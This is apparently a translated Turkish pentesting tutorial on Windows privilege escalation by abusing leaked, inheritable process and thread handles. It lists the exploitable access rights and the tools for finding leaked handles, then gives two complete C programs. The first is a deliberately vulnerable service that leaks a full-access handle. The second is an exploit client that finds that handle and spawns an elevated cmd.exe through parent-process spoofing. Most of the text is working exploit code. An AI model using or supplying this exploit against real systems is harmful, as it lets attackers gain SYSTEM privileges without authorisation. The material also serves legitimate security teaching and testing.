Bir süreçteki handle'lar, farklı Windows kaynaklarınaerişim sağlar:
Zaten, açık ve miras alınabilir handle'lara sahip bir ayrılmış süreç tarafından çalıştırılan bir ayrılmış süreç ile birkaç yetki yükseltme durumu yaşanmıştır.
Örneğin, SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında (OpenProcess()) tam erişim ile. Aynı süreç düşük ayrıcalıklara sahip yeni bir süreç (CreateProcess()) oluşturduğunda, ana sürecin tüm açık handle'larını miras alır.
Sonra, eğer düşük ayrıcalıklı sürece tam erişiminiz varsa, OpenProcess() ile oluşturulan ayrılmış sürece açık handle'ı alabilir ve bir shellcode enjekte edebilirsiniz.
İlginç Handle'lar
Süreç
Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir ayrılmış sürecin handle'ını miras alırsa, üzerinde rastgele kod çalıştırabilir.
bu mükemmel makalede aşağıdaki izinlerden herhangi birine sahip herhangi bir süreç handle'ını nasıl istismar edeceğinizi görebilirsiniz:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir ayrılmış sürecin thread handle'ını miras alırsa, üzerinde rastgele kod çalıştırabilir.
bu mükemmel makalede aşağıdaki izinlerden herhangi birine sahip herhangi bir süreç handle'ını nasıl istismar edeceğinizi de görebilirsiniz:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Dosya, Anahtar & Bölüm Handle'ları
Eğer bir **düşük ayrıcalıklı süreç, bir ayrılmış dosya veya kayıt defteri üzerinde yazma eşdeğer izinlere sahip bir handle'ı miras alırsa, dosya/kayıt defterini üst üste yazabilir (ve çok fazla şansla, yetki yükseltebilir).
Bölüm Handle'ları, dosya handle'larına benzer, bu tür nesnelerin yaygın adı "Dosya Haritalama"dır. Büyük dosyalarla, dosyanın tamamını bellekte tutmadan çalışmak için kullanılır. Bu, istismar sürecini dosya handle'ının istismarına "benzer" hale getirir.
Süreçlerin handle'larını nasıl görebiliriz
Process Hacker
Process Hacker ücretsiz olarak indirebileceğiniz bir araçtır. Süreçleri incelemek için birkaç harika seçeneği vardır ve bunlardan biri her sürecin handle'larını görme yeteneğidir.
Tüm süreçlerin tüm handle'larını görebilmek için SeDebugPrivilege gereklidir (bu nedenle Process Hacker'ı yönetici olarak çalıştırmanız gerekir).
Bir sürecin handle'larını görmek için, süreç üzerine sağ tıklayın ve Handle'ları seçin:
Sonra handle üzerine sağ tıklayarak izinleri kontrol edebilirsiniz:
Sysinternals Handle'ları
Sysinternals'tan Handles ikili dosyası, konsolda süreç başına handle'ları da listeleyecektir:
LeakedHandlesFinder
Bu araç size sızanhandle'ları izleme ve hatta yetki yükseltmek için otomatik istismar etme imkanı tanır.
Metodoloji
Artık süreçlerin handle'larını nasıl bulacağınızı bildiğinize göre, kontrol etmeniz gereken şey, herhangi bir düşük ayrıcalıklı sürecin ayrıcalıklı handle'lara erişimi olup olmadığıdır. Bu durumda, sürecin kullanıcısı handle'ı elde edebilir ve yetki yükseltmek için kötüye kullanabilir.
Tüm handle'lara erişmek için SeDebugPrivilege gerektiği daha önce belirtilmişti. Ancak bir kullanıcı, kendi süreçlerinin handle'larına hala erişebilir, bu nedenle sadece o kullanıcıdan yetki yükseltmek istiyorsanız, araçları kullanıcının normal izinleriyle çalıştırmak faydalı olabilir.
Örneğin, aşağıdaki kod Windows servisine aittir ve bu servis savunmasızdır. Bu servisin ikili dosyasındaki savunmasız kod Exploit fonksiyonu içindedir. Bu fonksiyon tam erişime sahip yeni bir işlem tanıtıcısı oluşturmaya başlar. Ardından, C:\users\username\desktop\client.exe dosyasını çalıştırarak düşük ayrıcalıklı bir işlem oluşturur (düşük ayrıcalıklı explorer.exe belirtecini kopyalayarak). Savunmasızlık, düşük ayrıcalıklı işlemi bInheritHandles değerini TRUE olarak ayarlayarak oluşturmasından kaynaklanmaktadır.
Bu nedenle, bu düşük ayrıcalıklı işlem, ilk olarak oluşturulan yüksek ayrıcalıklı işlemin tanıtıcısını alabilir ve bir shellcode enjekte edip çalıştırabilir (bkz. sonraki bölüm).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Örneği 1
Gerçek bir senaryoda muhtemelen çalıştırılacak ikiliyi kontrol edemeyeceksiniz (bu durumda C:\users\username\desktop\client.exe). Muhtemelen bir süreci tehlikeye atacaksınız ve herhangi bir ayrıcalıklı sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek.
Bu örnekte C:\users\username\desktop\client.exe için olası bir exploit kodunu bulabilirsiniz.
Bu kodun en ilginç kısmı GetVulnProcHandle içinde yer almaktadır. Bu fonksiyon tüm handle'ları almaya başlayacak, ardından bunlardan herhangi birinin aynı PID'ye ait olup olmadığını kontrol edecek ve eğer handle bir süreçe aitse. Tüm bu gereksinimler yerine getirildiğinde (erişilebilir bir açık süreç handle'ı bulunduğunda), sürecin handle'ını kötüye kullanarak bir shellcode enjekte etmeye ve çalıştırmaya çalışır.
Shellcode'un enjekte edilmesi Inject fonksiyonu içinde yapılır ve sadece shellcode'u ayrıcalıklı süreç içinde yazar ve aynı süreç içinde bir thread oluşturur ve shellcode'u çalıştırır.
Gerçek bir senaryoda muhtemelen kötü niyetli kod tarafından çalıştırılacak ikiliyi kontrol edemeyeceksiniz (C:\users\username\desktop\client.exe bu durumda). Muhtemelen bir süreci tehlikeye atacaksınız ve ayrıcalıklı bir sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek.
Bu örnekte, açık handle'ı kötüye kullanmak yerine bir shellcode enjekte edip çalıştırmak, açık ayrıcalıklı handle sürecinin token'ını kullanarak yeni bir tane oluşturmak için kullanılacak. Bu, 138'den 148'e kadar olan satırlarda yapılmaktadır.
UpdateProcThreadAttribute fonksiyonunun PROC_THREAD_ATTRIBUTE_PARENT_PROCESS niteliği ve açık ayrıcalıklı sürecin handle'ı ile kullanıldığına dikkat edin. Bu, oluşturulan süreç thread'inin _cmd.exe_** çalıştırırken açık handle sürecinin token ayrıcalığına sahip olacağı anlamına gelir**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList,0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,&hProc,sizeof(HANDLE),NULL,NULL);si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Bu araç, sızdırılan handle'ları izleyerek savunmasız olanları bulmanıza ve hatta otomatik olarak istismar etmenize olanak tanır. Ayrıca bir handle sızdırmak için bir araç da vardır.